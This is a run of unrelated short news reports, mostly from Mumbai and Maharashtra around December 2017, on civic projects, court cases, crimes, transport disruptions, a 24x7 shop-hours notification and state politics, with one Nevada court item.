
The civic body will appoint consultants to plan the construction of the park upon completion of the first phase. This will include identifying locations to create a jetty for fishermen and park over 3,000 fishing boats, conducting studies for landscaping of the park, and assessing the status of project-affected

Both organisations have previously conducted environment impact assessment studies for other projects in Mumbai.

NIO has conducted studies for the coastal road project and Chhatrapati Shivaji Maharaj Smarak, while NEERI has previously assisted on the civic bodys urban renewal scheme.
ELKO  A Montana man alleged to have been behind the wheel of a vehicle that crashed and injured several people more than two years ago pleaded not guilty in district court Monday.

Richard Scott Norman Harris, 23, was arraigned Dec. 18 in Elko District Court by Judge Nancy Porter on five counts of reckless driving causing substantial bodily harm, a Category B felony.

Represented by attorney Diana Hillewaert, Harris entered his not guilty plea before Porter.

According to NRS 484B.653, a person convicted on one or more of the charges could receive up to six months in jail for each count, a fine between $250 to $2,000 for each count and the persons drivers license could be suspended for six months to two years.

The charges stemmed from an incident May 17, 2015, when Harris and seven passengers in a 2007 Dodge Challenger were involved in an accident at the intersection of South Fork and Jiggs Highway.

Reports from the Nevada Highway Patrol stated Harris allegedly swerved while traveling east on South Fork Road through the intersection and hit an embankment, causing it to go airborne and ejecting two passengers, according to Elko Daily Free Press files.

The NHP said Harris first claimed he swerved to avoid a deer, but authorities later said they determined the claim was false.

At the time of the arrest, NHP Lt. Tamrah Jackson explained that the agency conducted a lengthy investigation that was submitted to the Elko County District Attorneys office because the incident involve[d] significant injuries.

Harris turned himself in to local authorities in June. He was released on $500,000 bail.

A date for jury trial was set for May 8.
You can now shop for groceries late at night or enjoy a midnight meal at a local restaurant. The state government issued a notification to the Maharashtra Shops and Establishment Act, 2017, on Tuesday, allowing shops, including restaurants (that do not serve alcohol), cinema halls, salons, hyper malls and businesses such as banks, medical establishments and tax consultancies, to remain open 24x7 in the state. It does not include liquor shops and bars.

This means 35 lakh shops, including seven lakh in the state, are free to take a call on their preferred hours of business.

The amendment was initiated in accordance with the Centres Model Shops and Establishment Act, 2016, and was passed by both Houses of the state legislature in August. The notification was issued after the governor gave his nod to the legislation.

At present, shops are allowed to be open till 10pm, while commercial establishments have to shut by 9.30pm and restaurants by 12.30am. The amendment and notification also paves the way for night shifts for women from 9.30pm to 7am with their consent and certain regulations.

We expect women-driven businesses to get a boost from this move. At least five lakh new licences are estimated to be issued under the act in the near future, labour minister Sambhaji Patil Nilangekar told HT.

Establishments keen on extending hours of business will only have to give an online intimation to the ministry, including the number of employees they have hired.

The minister said the civic bodies and police will approach the state government if they wish to exclude any sector, area or type of business from this freedom of working hours. A separate notification will have to be issued to exclude those categories or areas.

The Act, however, has provisions to safeguard the interests of workers and ensure the safety of women. Operators will have to ensure their employees are not working for more than 9 hours a day in three separate shifts. The establishment will have to ensure protection to women by ensuring their safety, dignity and protection from sexual harassment. The employer will also have to provide transportation for women working after 9.30pm. The employees will be entitled to pay for overtime duties, paid leaves, first aide, canteen facilities and a creche.

Violations leading to serious injury or death of employees may lead to imprisonment of six months or a penalty of up to Rs5 lakh to the employer. Violation of other duties towards workers may attract a fine up to Rs2 lakh.

The main idea behind the legislation, a senior official said, was to improve ease of doing business. To that end, with this new law, establishments with less than 10 workers will not have to obtain a licence or need to renew their licences. Establishments with more than 10 workers will get licences in a time-bound manner.

Of the 35 lakh shops and establishments, nearly 22.10 lakh are with zero employees and run by proprietors, while another 12.13 lakh (with 35.32 lakh workers) have between one and nine workers, and 84,702 establishments (32.22 lakh workers) have 10 or more workers, said Nilangekar Patil.

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More than a month after exams for the final-year graduate programme began at the University of Mumbai (MU), several teachers are yet to begin assessment because they are unable to access answer sheets online.

Some of the technical glitches in the on-screen marking system (OSM), which led to results mess, have refused to die. While colleges said the assessment process is much smoother as compared to the previous examination, several teachers, who were assigned assessment work, couldnt download the scanned copies of the papers at centralised assessment process (CAP) centres. The teachers fear the snag will cause to another results mess.

At several centres, the examiners are waiting for assessment as there are no answer sheets. The university had told us that the scripts will be made available within 10 days of a paper. However, the examiners are yet to receive the scripts of the paper that were conducted in early November, said Ravindra Deshmukh, principal, Kokan Gyanpeeth Karjat College and a member of varsity academic council. He is also zonal co-ordinator to monitor on-screen assessment in Raigad district.

After MU switched to OSM last semester, teachers had a hard time assessing answer papers. The papers took a long time to download and many teachers got wrong answer sheets, resulting in an unprecedented delay.

In order to avoid a repeat of assessment mess during the last examination, MU has divided the region under its purview into 12 zones, with a coordinator for colleges in each zone.

Madhu Nair, principal of Nirmala Memorial Foundation College, Kandivli, and the zonal coordinator for the western suburbs of Mumbai, also confirmed that some teachers have so far been unable to download the papers. I have several colleges and prepared a list of around 20 teachers who couldnt access the answer sheets. I have sent the list to the in-charge director of board of examination and evaluation and requested him to fix the glitch, he said.

Despite the glitches, some principals said that the evaluation process is moving much faster. Earlier, there were some problems in downloading paper. But we havent faced any issue since last three-four days, said the principal of a college in western suburbs.

Hemlata Bagla, principal, KC College, Churchgate, said, The assessment software is running smoothly. The teachers are very happy, she said.

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The state government tabled a bill late on Monday to amend the Maharashtra Self-Financed Schools Act, 2012, so that corporate houses can start schools, too.

Currently, only trusts, registered societies and local authorities can run self-financed schools.

The amendment will allow companies registered as non-profit organisations under section 8 of the Companies Act, 2013, to set up schools. This will open the educational space to all corporates who will then only have to register non-profit firms.

The proposed amendment to section 3 of the Maharashtra Self-Financed Schools Act also reduces the space required to open a school in Mumbai to 500 square metres, from the current 2,000 square metres, and in other areas, to one acre from two.

School education minister Vinod Tawde tabled the bill in the state Assembly, the debate for which is likely to start on Tuesday.
In the first such instance in the state, corporators cutting across party lines have approved a resolution in Panvel Municipal Corporation (PMC) general body meeting to ban alcohol in the Panvel region.

The unanimously passed proposal will now be sent to the state government for sanction. Kharghar area, which falls under PMC, has for around 10 years been an alcohol-free zone following a decision by the local panchayat and efforts of the locally formed Sangharsh Samiti.

Following the formation of PMC last year, and the civic elections in May this year, at the first general body meeting held, opposition leader Pritam Mhatre had submitted a calling attention motion seeking a ban on alcohol shops in the region. House leader Paresh Thakur had in turn asked for a complete ban on alcohol in the Panvel region.

There had not been any movement on the resolution over the past few months. On Monday, corporator Arvind Mhatre once again raised the issue, asking what had been done in the matter. The opposition alleged that the ruling party was not in its favour. Following heated exchanges and slogan shouting the resolution was declared passed by mayor Kavita Chautmal.

Chautmal said, It is a matter of pride for me as a woman that the proposal has been passed by PMC during my tenure. We will take up the proposal in right earnest with the government. I will take personal interest in it.

According to municipal commissioner Sudhakar Shinde, PMC is the first civic body in the state to pass such a resolution. We will follow up on the issue with the state government.

Box: Implementation through referendum

The implementation of the proposal is going to be a tough task. The powers to implement it fall under the jurisdiction of the district collector. The collector will have to hold a referendum in each of the nodes of Panvel on the issue.

Sudhir Pokle, superintendent, state excise department, Panvel said, The PMC resolution does not mean there will be an immediate ban on sale of alcohol in the region. It requires sanction of the district collector.

He added, Thereafter, area-wise referendum will be held. It will require over 50% yes vote for the decision to be implemented. The collector will then take requisite action.
After a local non-governmental organisation (NGO) highlighted the problems faced leprosy patients in getting their biometric scans for Aadhaar card, sources from the government said these patients can be enroled as special cases.

Dr Vivek Pai, director of Bombay Leprosy Project (BLP), an organisation that has been treating leprosy patients for the past four decades, said he knows at least two patients with deformities in their hands whose Aadhaar card applications was rejected.

The Reserve Bank of India (RBI) sought details of leprosy patients and banking facilities availed by them. We were asked to visit an ICICI branch, where IRIS scans were undertaken to verify details of the patients, he added.

Pai said there are about 800 leprosy patients in the city of which many are old and await rehabilitation. For some of them, the only source of income is the money they get under the welfare schemes, he said.

Babananand Rao Kadu, 83, who lives in Chunabhatti, has not received his pension for the past one year. Kadu was diagnosed with leprosy more than 70 years ago. He said his Aadhaar application was rejected owing to deformities in his fingers, which prevented registration of his fingerprints.

Someone checked the status of online and told me it was rejected and I will have to reapply. Im yet to do it. It takes too much time to visit an aadhaar centre at this age. I work as a peon at a the BLP and the money I make from its is keeping me alive, he added.

An official from Unique Identification Authority of India (UIDAI) headquarters said, Considering their [leprosy] special circumstances, such patients are given full biometric exemption in accordance with the UIDAI regulations and are enrolled without finger prints and IRIS scan. They only have to submit proof of identity (PoI ) and proof of address (PoA).

Official cited the example of a 65-year-old Bengaluru woman, who lost her hands and vision to leprosy, but was enrolled for aadhaar card as a special case to ensure she is benefitted under the governments social welfare scheme.

Authorities from state health department said most of these patients, who claim to have trouble getting their aadhaar verification done could be really old cases. Dr Raju Zotkar, additional director health services, said leprosy patients with disability of more than 40% are entitled to get a pension of Rs1,000 every month.
Metro works in the city led to another water pipeline burst on Tuesday, this time in Gorai. Officials from the Brihanmumbai Municipal Corporation (BMC) said a 36-inch water pipeline at Shimpoli, Chikuwadi on the link road was affected during the excavation work.

The Mumbai Metropolitan Regional Development Authority (MMRDA) is undertaking works for the Metro-2A line (Dahisar to DN Nagar) in the area. The 18.6-km long Metro corridor 2A is part of the larger 41.2km line between Dahisar East- Bandra- Mandale.

Local Congress corporator Shiva Shetty said close to 400 buildings in the vicinity, including areas namely Yogi Nagar, Dharma Nagar, MSB Colony, Chikuwadi and Gorai 1 and 2, were affected owing to the rupture.

Atul Rao, R Central (Borivli) ward officer, said they were trying their best to restore water supply. Once the work is completed, we will assess the damage and collect a fine from the MMRDA, he said.

Dilip Kawathkar, joint project director, MMRDA, said, A pipeline of 900mm diameter got damaged during piling on the Dahisar west to DN Nagar corridor near Shimpoli. A team of JKumar along with the team of BMC reached the site immediately and the damaged pipeline was repaired at 6.15 pm. The water supply has been restored.

Last week, the MMRDA was asked to pay Rs3.41 lakh for rupturing part of the water pipeline in Kandivli (West).

The Mumbai Metro Rail Corporation (MMRC) implementing the Metro-3 line (Colaba-Bandra-Seepz) has been asked to cough up close to Rs12 lakh for damaging water pipelines on a number of occasions in South Mumbai.

A senior official from MMRDA said that lack of mapping of the underground utility lines results in the ruptures.

MMRDA signs agreement with DMRC

The Mumbai Metropolitan Regional Development Authority (MMRDA) on Tuesday signed an agreement with the Delhi Metro Rail Corporation (DMRC) for implementation of the Metro-6 corridor (Swami Samarth Nagar-Jogeshwari-Vikhroli). According to officials, DMRC will implement the entire project, from inviting bids to procurement of systems for running the project, on behalf of MMRDA. The 14.5km corridor will have 13 stations and will cost Rs5,490 crore.
The special Prevention of Money Laundering Act (PMLA) court rejected the bail plea of Nationalist Congress Party (NCP) leader Chhagan Bhujbal and his nephew Sameer Bhujbal.

Chhagan Bhujbal, the former public works department minister, was arrested in March 2016 in the Maharashtra Sadan scam case.

The Enforcement Directorate (ED), which is probing the case, said Bhujbal and his associates misused their designation and entered into a criminal conspiracy to cheat and cause the government financial losses by sanctioning development projects. It was also alleged that Chhagan Bhujbal accepted kickbacks through the firms of his relatives and employees.

The two had moved separate pleas through advocate Shalabh Saxena in July, seeking bail in the case, claiming that they have no role in the scam and that the investigation is over. Chhagan Bhujbal, in his bail plea, had claimed that he was a victim of political and business rivalry.

Citing the letter written by the public works department (PWD) of the state government to the anti-corruption bureau, Chhagan Bhujbal said it clearly mentioned that there was no illegality in awarding the Maharashtra Sadan project.

The two also had cited the recent Supreme Courts ruling which termed the provision under section 45 of PMLA Act unconstitutional. The provision restricted granting bail to accused booked under the Act for charges in which punishment is three years and more.

The counsel for ED, Hiten Venegaokar, contested the claim.

He said that Chhagan Bhujbal has played a pivotal role in the scam and the investigation into the source of money laundering is pending.

The agency claimed that the total money laundered was Rs857 crore while the agency has managed to attach properties worth Rs156 crore only.

The huge cash generation was possible because Chhagan Bhujbal was occupying a high position in the government. The money generated through the Chhagan Bhujbals illegal activities has been laundered through the companies of Sameer Bhujbal and Pankaj Bhujbal as well as through other Bhujbal-controlled companies, the agency said.

Opposing the defenses arguments, Venegaokar said the Bhujbals are politically influential people and if they are released on bail, there are chances that the witnesses may turn hostile.

Unlike other criminal cases, where the prosecution argues to prove the accused innocent, those charged under the PMLA themselves have to give proof of them being non-guilty. Section 24 of PMLA clearly states this rule. The Bhujbals have not been able to prove their innocence.

Out of Rs857 crore laundered, the accused still have not explained the source of around Rs830 crore, said the ED.

ED is investigating their investments out of the country, especially transactions related to purchase of mines.

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The Malwani police have requested the Forensic Science Laboratory (FSL) in Kalina to speed up the analysis of evidence gathered in the investigation of anchor Arpita Tiwaris death, whose body was found under mysterious circumstances on December 11.

The police hope the analysis will help in providing some concrete proof that aids them to reach a conclusion in this case.

The police have sent DNA samples along with viscera to the FSL. They will also take the help of the technical wing of the FSL in investigating Tiwaris cellphone. It was recovered from the 15th floor of Manavsthal Heights, where she had gone along with her boyfriend, Pankaj Jadhav , early on December 11.

The police are currently probing it as a murder case following a complaint from Tiwaris father. He told officials that he suspects foul play in the death of the 25-year-old compere.

Meanwhile, Tiwaris school friend Litonya Sahota addressed the press on Tuesday. The last time I spoke to her was on December 10, around 8.30pm. I was out of the country when she had messaged me on Snapchat. It was a very lively conversation. We made plans to meet three days later and I told her I will be back in the city the next day, she said.

Sahota said she came to know about Tiwaris death through another school friend in Gurgaon on December 11. I often bumped into her at events and clubs. She was always with Pankaj. It seemed that they had a good relationship. We still cannot believe she is no more, added Sahota.

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A couple from Mumbais western suburb of Santacruz, who run a book-binding unit in Palghar, had a harrowing experience last weekend after thieves broke the rear window of their car and escaped with two bags containing Rs 1.60 lakh cash, important documents and their debit and credit cards, while they were at a restaurant on the Mumbai-Ahmedabad highway in Manor, Palghar.

A case has been registered under section 379 (theft) of the Indian Penal Code against unknown persons, the police said.

The couple said they spent the night in the parking lot of a hotel as they wanted a copy of the police complaint, and the printer at the police station was not working.

On Saturday night, Esmail Godhrawala, 52, and his wife Durriya were heading home to Santacruz when they decided to stop for coffee and parked their car in the restaurants parking lot. When we returned to our car, we were shocked to find that the rear left window glass was broken and our two black bags were missing, said Godhrawala. I was carrying Rs 1.60 lakh cash that I had to give to a client. We also lost our PAN cards, Aadhar cars, debit and credit cards, and confidential company documents.

The restaurant management refused to help us or give us compensation, alleged Godhrawala, adding that after much cajoling, the food outlet shared its CCTV footage, which clearly showed the robbery.

We went to Manor police station, where we were made to wait for hours, and then their printer was not working. We were forced to spend the night in our car in the parking lot of another hotel as we did not have enough money to stay anywhere, Godhrawala said.

Early Sunday morning, after they finally got a copy of the FIR, the couple called some friends, borrowed money and headed home.

PSI Akshay Sonawane of Manor police station said: We are investigating the case. We have seized CCTV images from the restaurant that shows two men escaping with two bags on a motorcycle with no number plates; the bike was probably stolen.

Sonawane added that they are checking toll plazas, and the victims call data records. Going by the CCTV images, the duo was waiting for the victims for an hour and was seen roaming around the restaurant premises. As soon as Godhrawala parked the car, they checked it out, and once the two patrolling security guards moved out of sight, they smashed the window and escaped with the bags, he said.
kailash.korde@htlive.com

The Brihanmumbai Electric Supply and Transport (BEST) undertaking that runs the public bus service in the city and its neighbouring areas is keen on wet leasing 225 buses including 100 air-conditioned mini buses, for a period of seven years.

The hired fleet would come at a contractual value of Rs305.95 crore for these seven years. The undertaking has moved this proposal to the BEST committee, its policy-making body.

The 225 buses include 100 AC mini buses, 100 non-AC mini buses and 25 midi buses. BEST sources said they were keen on hiring mini and midi buses because the smaller size buses can move faster on narrow and congested city roads, as compared to regular buses. The BEST has proposed to hire the buses on wet lease, in which the contractors provide the drivers and also pick tabs for the maintenance of the vehicles.

According to the proposal presented in front of the BEST committee, the lowest bidder is ready to supply mini AC buses at per kilometer rate between Rs 49 to Rs 50.45, mini non-AC buses at Rs 41 to 43.09 and midi buses at Rs 45 to Rs 47.30.

After two unsuccessful attempts, BEST had received three bids for supply of the required buses. Of those, the BEST administration has finalised the lowest bidder, but is now waiting for the committees nod for hiring the buses. The proposal states that BEST has a guarantee from the bidder that mini buses would run 3,500 kilometers per month and midi buses would run 4,000 kilometers.

The BEST administration and its parent body Brihanmumbai Municipal Corporation (BMC) consider wet leasing of buses as a necessary reform for bridging the gap between income and expenditure of the undertaking. BEST is in the red with accumulated losses to the tune of Rs2,500 crore. The reforms suggested by BMC including wet leasing of buses can save it Rs700 crore.

The Shiv Sena-ruled BEST committee, however, has opposed the proposal terming it as a move towards privatisation of BEST. Hence, the committee has rejected the proposal of wet-leasing of 50 AC mini buses, earlier.

Therefore, it remains to be seen what stand the Shiv Sena dominated body takes on the fresh proposal. Recently, municipal commissioner Ajoy Mehta had shot off a letter to the standing committee chairman, in which he had warned of dissolving the BEST panel and appointing an administrator to look after BEST affairs, if the committee failed to implement reforms.

BEST committee chairman Anil Kokil had said that they have accepted 82% of the reforms suggested by Mehta, excluding wet leasing of the buses and merger of Dearness Allowance in the salary.

Earlier, while presenting the budget estimates for financial year 2018-19, BEST had proposed to take 800 buses, including 400 wheelchair-accessible buses, on wet lease.

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The DN Nagar police on Monday arrested an employee of a pharmacy for stealing medicines and cosmetics worth Rs30 lakh from the store.

The 49-year-old accused, Vinod Jain, was employed at Mahendra Jains Milan Chemist shop at JP Road in Andheri West for over 2 years. According to Mahendra, Vinod stole from consignments before delivering to the shop, between November 2012 and March 2014. Mahendra shut his shop in 2014 after suffering huge losses. Vinod joined another medical store in Santacruz that year, where the owner allegedly caught him stealing and informed Mahendra. Upon questioning , Vinod confessed he had stolen from Mahendras shop, said the police. He kept telling me he will repay the amount, Mahendra told HT.

However, Vinod went off the grid. Mahendra nabbed him when he was in Goregaon to attend his mothers last rites. Mahendra filed a complaint on Monday. Vinod has been remanded to two days police custody, said senior inspector P Ganame.

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One of the eight survivors of the Sakinaka fire was awake when he heard an explosion. Worker Akhilesh Tiwari, 20, jumped out of a window 20 feet above the ground, fracturing both legs.

Everyone was asleep in the loft around 3.45am, when I heard the noise. I knew I had to escape. There was no time to take the stairs. Everything happened so fast. The next thing I remember is people taking me to the hospital, he said.

Doctors said he would be able to walk normally in a month or two. Twelve other workers asleep on the makeshift mezzanine floor werent as lucky  the heat from the fire jammed the glass door, trapping them inside.

Tiwari said several cylinders  used to prepare the workers meals  and kerosene stocked inside the structure helped the flames spread faster.

Brothers Tejas and Tushar Pawar, whose house shared walls with the shop, also made it out to safety.

The two, who have been living in the area with their mother for the past two decades, were roused by the commotion. The noise and smell of kerosene woke us. We were lucky enough to be able to run out of the house before the fire engulfed the workshop and our home, said Tushar. He said he saw workers trapped behind the glass door.

Relatives and friends said most of the victims were from Uttar Pradesh, except for Shivnarayan Prajapati, 21, who was from Nepal.

He had come to Mumbai four months ago in search of work. He was the sole breadwinner of his six-member family, said his cousin Guruprasad, who identified the body. He has two 10-year-old brothers and an older sibling. His parents are elderly. Owing to their age and financial constraints, they couldnt travel here to see their sons body for the last time, he added

Doctors from Rajawadi Hospital said that 10 workers suffered third-degree burns between 60% and 70%, while two suffered 100% burns. While the burn injuries were life-threatening, the probable lack of ventilation resulted in smoke filling the room, choking the victims, said experts.
The Nashik police have made a fourth arrest in the Nashik arms haul case, in which a cache of various kinds of firearms was seized a few days ago.

The Nashik and Mumbai police teams are now probing whether the accused fourth accused Amir Rashid Shaikh, who is from Sewri, was the gang member who left Uttar Pradesh (UP) by train along with some of the cache. Police had earlier said they are on the lookout for two more accomplices in addition to the three who have already been nabbed and one of them may have entered the state by using a different mode of transportation.

Shaikh was arrested from Sewri on Monday morning and taken to Nashiks Chandvad police station. The Mumbai crime branch who are also investigating the case confirmed that Shaikh was present in UP during the heist but are yet to find out whether he was the part of the robbery at the private armoury shop at Pillikothi in UPs Banda district on Friday.

The crime branch officers said Shaikh was an accomplice of the earlier arrested Badudin Juman Badshah alias Sumit alias Suka, 27, and stayed in Sewri area near Badrudins house. The police officials had received a tip-off that Shaikh was in RAK Marg area in Mumbai. They laid a trap and arrested him. Badrudin had named Shaikh in his interrogation after which we had begun tracing Shaikh, said a police officer from Nashik. The Nashik police seized 4,136 live cartridges from the gang, which stole pistols, revolvers, rifles and double-barrel guns from the armoury shop.

We are now finding out the exact role of Shaikh in the heist and its planning. The Nashik police have arrested Shaikh and are questioning him to find out whether he was present at the armoury at the time of the robbery and had left by train to reach Mumbai, said a crime branch officer.

A Bolero stopped at a petrol pump near Malegaon for refuelling at 7.15pm on Thursday. The occupants left the place without paying a bill for Rs1000. Minutes later, the petrol pump owner alerted the police. Assuming that the occupants were robbers, the Malegaon police called up the Nashik control room, which shared the details of the Mumbai-bound vehicle with the Chandvad police. When the accused entered the queue at the toll naka at 7.40pm one police car blocked them from behind, while an anti-dacoity squad vehicle was ahead of them.
When Sharad Pawar decides to hit the roads, governments must beware. It could be a precursor of bigger  and unsavoury  things in offing for the ruling dispensation.

The Congress has been on a roll for the past three-four months, and not just since their newly installed party president Rahul Gandhis make-over. The recently concluded elections in Gujarat have clearly established while there is still a lot of bounce left in the BJP, the Congress might yet prove to be the proverbial tortoise, gaining on the ruling party from behind. That has already begun to show in Maharashtra and Pawar, the classic fence sitter unless pushed to the wall, is showing signs of relenting towards an ally the NCP had kicked out of the reckoning during the 2014 assembly elections.

There has been a lift in the spirits of the Congress ever since it won an astounding 73 out of 81 seats in the Nanded Municipal Corporation in September this year. It has since been winning quite a few other civic elections, and not just in Maharashtra, to be topped up by the Gujarat polls wherein together with its allies it was only nine seats short of the halfway mark in that assembly. Pawar is nothing if not a weather being; so, much before the results were out, he made a subtle slide towards the Congress and his joining the hallabol and Jan Akrosh Yatra begun soon after the Nanded results is both a telling commentary and a warning to the current dispensation.

The last time Pawar had been on such a dindi to Nagpur was in 1980 when AR Antulay was the chief minister and the Congress was not inimical to the interests of farmers in the state. Which is more than can be said now about the Fadnavis government in Maharashtra and Pawar was always the farmers man who they trusted implicitly until 2014. I remember how in 2004, Pawar did a fine job of wooing farmers over to his side simply by pointing to the urban nature of the BJP. Everyone from Prime Minister Atal Behari Vajpayee to Advani, Pramod Mahajan and Sushma Swaraj has an urban constituency. On the other hand, in the Congress -NCP, every leader of consequence, including Sonia Gandhi and I, have rural constituencies. So who do you expect will understand your problems better? was his rhetoric.

The situation is pretty much the same a decade later. Though much water has flowed under the bridge since then, Pawar cannot be unaware of the fact that farmers committing suicide are leaving behind personal notes to chief minister Devendra Fadnavis blaming his government for its inability to offer them minimum support prices and the messing up of their loan waivers. Perhaps that, and the fact that at least one party MP (Nana Patole) and one ally (Swabhimani Shetkari Sangathana) have quit on the grounds of the BJPs lack of understanding or concern for farmers problems, is enough writing on the wall which at least Pawar seems to be reading correctly.

It is remarkable, however, that at the age of 77 Pawar should be undertaking a similar punishing journey to the one that he had 37 years ago. One of the fallouts of that dindi, which was a declaration of war on government, was the eventual exit of Antulay as chief minister though it did not necessarily mean that Pawar and his then splinter party, the Congress (S), were restored to power in the state. Pawar had to merge his Congress (S) with the Congress (I) a few years later to reclaim the state. Nor do I think he will merge his NCP with the Congress now but the writing on the wall clearly says that the NCP needs the support of the Congress to regain its foothold in the state. Moreover, with the BJPs diminishing credit among the rural and agrarian community, Fadnavis cannot be unaware of the consequences of the recreation of the 1980 dindi march, albeit with more modern means and technological tools.

Although the Congress flatly turned down the NCPs request for an alliance in both the Brihanmunbai Municipal Corporation (BMC) elections and the recently concluded one in Gujarat, Pawar seems to have made up his mind that an alliance with the Congress again might be more beneficial to his party than one with the BJP. He had once told me that the Congress starts with a 20% support base of Dalits and Muslims and he has then to work hard only to turn about half the farmers over to their side and the saffron parties then stand no chance. That is what he is working towards again.

Is the BJP up to the challenge of picking up his gauntle?

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Yuva Sena chief Aaditya Thackeray, who has been trying to reinvent the Shiv Sena into a modern political party with a slew of initiatives for Mumbai and the rest of the state, could be elevated in the party in its internal elections. The elections that are slated to be held on January 23, 2018, which is also the birth anniversary of Sena founder Bal Thackeray, could see him take up an additional position apart from heading the youth wing of the party.

Aaditya was denied a place in the core committee of the party in the 2013 internal election despite the backing of many national executive members. In 2013, he was recommended in the core committee, which has eight to 10 top leaders of the party, but he didnt make the cut. Four years down the line, he has taken up many issues. He could be given a bigger role, a senior Sena leader said on condition of anonymity.

In the last year, the Thackeray scion has taken on the Bharatiya Janata Party (BJP) on a variety of issues, and recently announced that the Sena would quit the BJP-led Maharashtra government in a year. Apart from that, Aaditya has taken up several issues in Mumbai. The recently-opened 11-km makeshift cycle track in Mumbai is his brainchild. Aaditya also spearheaded a drive to ban plastic in the state, and that the Sena-held transport department should promote environment-friendly public transport vehicles.

Sena spokesperson, Manish Kayande, said, He (Aaditya) is leading the youth wing and has been taking interest in the functioning of the party. There is every possibility that he could pick up more responsibilities and be involved in the decision-making process of the party.

Senior party leaders said that the internal election will also be held to elect the party president, which is mandated by the Election Commission. As prescribed by the Election Commission of India, every five years we hold elections to elect the party president and other key posts, and this time too, and the election will be held on January 23, said Anil Desai, senior Sena leader and Rajya Sabha MP.

Desai added that the election will be held for the post of party president, members of the national executive committee and deputy leaders. Nomination papers will be filed between January 5 and 10; on January 11, nominations will be scrutinised; while the date for withdrawal is January 13, a Sena leader said. The 180 members of the national executive of the party would vote to elect the party president.

Sena chief Uddhav Thackeray will be elected unopposed as the exercise is a mere formality, senior leaders added.

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The BJPs win in Gujarat, its lowest victory margin in 22 years, is likely to have an impact on the political dynamics in Maharashtra. The victory comes with a message for the chief minister Devendra Fadnavis, who is battling an agrarian crisis in his backyard as well as a troublesome ally.

The BJP is said to have conceded ground to Congress largely in rural constituencies, with agrarian crisis in Saurashtra being flagged off as one of the main motivators.

While the BJP managed to retain PM Narendra Modis home state for the sixth consecutive term, the performance of the main opposition party, the Congress, is being seen by political opponents as a sign that things are up for grabs in 2019 polls. The state Congress, whose numbers had dwindled to just 42 in the 2014 assembly polls can also take heart from its partys performance in the neighbouring state.

In the short run, the CM will have to walk a tightrope with ally Shiv Sena as the partys 63 legislators are crucial to maintaining majority in the 288-member house. The Sena is likely to sharpen its attack on the BJP. It could also walk out of his government next year as indicated by Yuva Sena chief Aaditya Thackeray. He again took to twitter post results to take a veiled dig at BJPs arrogance.

READ: Gujarat results show people are not happy with BJP: Shiv Sena

There are also indications that NCP will cosy up with its natural ally Congress ahead of the 2019 polls. If Sena walks out of the Fadnavis government next year, the BJP will spend crucial time ensuring its government stays stable instead of focusing on its performance. Also, if Sena decides to go solo in next polls, BJP stands to lose. Similarly, a lot will depend on how Congress and NCP mobilise and consolidate their rural base in the next two years and if they align together, said political analyst Surendra Jondhale.

Jondhale added that a big hurdle in a renewed Congress-NCP would be communication between Pawar and Congress new leadership led by Rahul Gandhi.

While NCP chief Sharad Pawar maintained silence on the Gujarat results, his nephew and former deputy CM Ajit Pawar tweeted that the verdict indicated that those who were claiming that only they are right have been proven wrong. Speaking to reporters later, he also praised the way Rahul ran the Gujarat poll campaign with dignity.

Political observers said Fadnavis needs to re-evaluate his partys relationship with its rural mandate to avoid a similar pitfall. In its last three years, the Fadnavis-led government has been targeted most over ongoing agrarian distress. The implementation of the loan waiver has also left the government open to criticism. It is true that there is agrarian distress in Maharashtra, which could prove to be problematic for us in the near future. But, while Gujarat saw the rise of young home grown leaders, there is no such new leadership in the state. The credibility of Congress and NCP remains a question. Also, our urban support base is strong, said a senior BJP leader.

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The Bombay high court has rejected the bail plea of a 75-year-old man convicted of child sexual assault, claiming that such people do not deserve any leniency as such crimes cause inconceivable trauma to victims. Often the victims, particularly those who were minors at the time of the incident, suffer from life-long post-traumatic stress disorders, said Justice AM Badar.

The senior citizen was recently convicted for penetrative sexual assault on a six-year-old girl  his relative  under various sections of the Indian Penal Code (IPC) and the Protection of Children from Sexual Offences (POCSO) Act.

He had sought bail during pendency of his appeal and the suspension of his sentence.

He claimed he had been falsely implicated by the girls mother due to a legal conflict between them. He also sought leniency citing his old age. Justice Badar, however, rejected his argument. Sexual abuse, especially against minors, causes trauma because of the shame it instills in the victim, he said.
Suburban services on the Central Railways (CR) main and harbour lines were affected on Tuesday morning, making morning commute a huge struggle for lakhs of Mumbaiites.

Around 8.30am, train services on the harbour line were disrupted following a technical problem. An hour later, around 9.40am, the main line services were affected after a rail fracture was spotted near Tanshet station on the Kasara- Kalyan section.

CR officials claimed that the technical snag lasted for just 12 minutes. Due to some technical issue, harbour and trans-harbour line trains are running five to 10 minutes late. The inconvenience is deeply regretted, said Sunil Udasi, chief spokesperson, CR. However, commuters complained that trains were delayed by 10 to 15 minutes during the rush hour, which led to huge crowding both inside trains and at stations.

On the main line, services, especially beyond Kalyan, were disrupted after a rail fracture was detected between Atgaon and Tanshet stations. Sudden fluctuations in temperature in winter leads to fractures, railway officials said.

Commuter activists claimed that a major accident involving the Mumbai-bound Bhagalpur Express was averted as the rail fracture was detected just in time, but the CR spokesperson denied it.

Following this, several trains, including the Bhagalpur Express and Pushpak Express as well as a couple of local trains, were held up at various stations. Services resumed at 10.41am after the tracks were repaired, Udasi said.

Commuters on the western line, too, complained that trains on the fast line were running 10 to 15 minutes late, but the cause of the delay could not be ascertained.
With an eye on the safety of women, the Maharashtra government has allowed all establishments but bars, liquor shops and restaurants serving alcohol to remain open round the clock.

The state government on Tuesday issued a notification and amended the Maharashtra Shops and Establishment Act, which according to a civic official means that the bill has come into effect.

The state government can exclude certain segments, areas or types of business from the Acts purview.

Similarly, civic bodies and police authorities can approach the government for the exclusion of any such segment

The police have time and again flagged issues about liquor being sold 24x7. The BJP had also opposed this in the civic body. That is the reason the state government has kept liquor serving establishments out of the purview, said a senior official.

Seven lakh commercial non-liquor establishments in Mumbai are expected to benefit from the reform decision.

However, it need not mean that shops will have their shutters up 24x7 from Tuesday night. This gives the civic bodies a window to complete all formalities, if it is given responsibility for regulating the outlets.

On the other hand, there have been questions on the impact of the same, there could be more pressure on the police force in cities like Mumbai. Concerns are being raised over safety of women employees working in various establishments that would do business till late night or early morning.

The decision will mean longer shopping hours, especially on weekends ,in cities like Mumbai. Theatres can also screen films screening or hold plays till early morning.

The government said the notification that would allow 35 lakh shops and commercial establishments in the state to run their business round the clock. Under the current rules, shops can be kept open till 10 pm and restaurants till 12.30 am. Commercial establishments can function till 9.30pm.

Labour minister Sambhaji Nilangekar Patil said the government may ask the Brihanmumbai Municipal Corporation (BMC) to implement the Act in Mumbai.

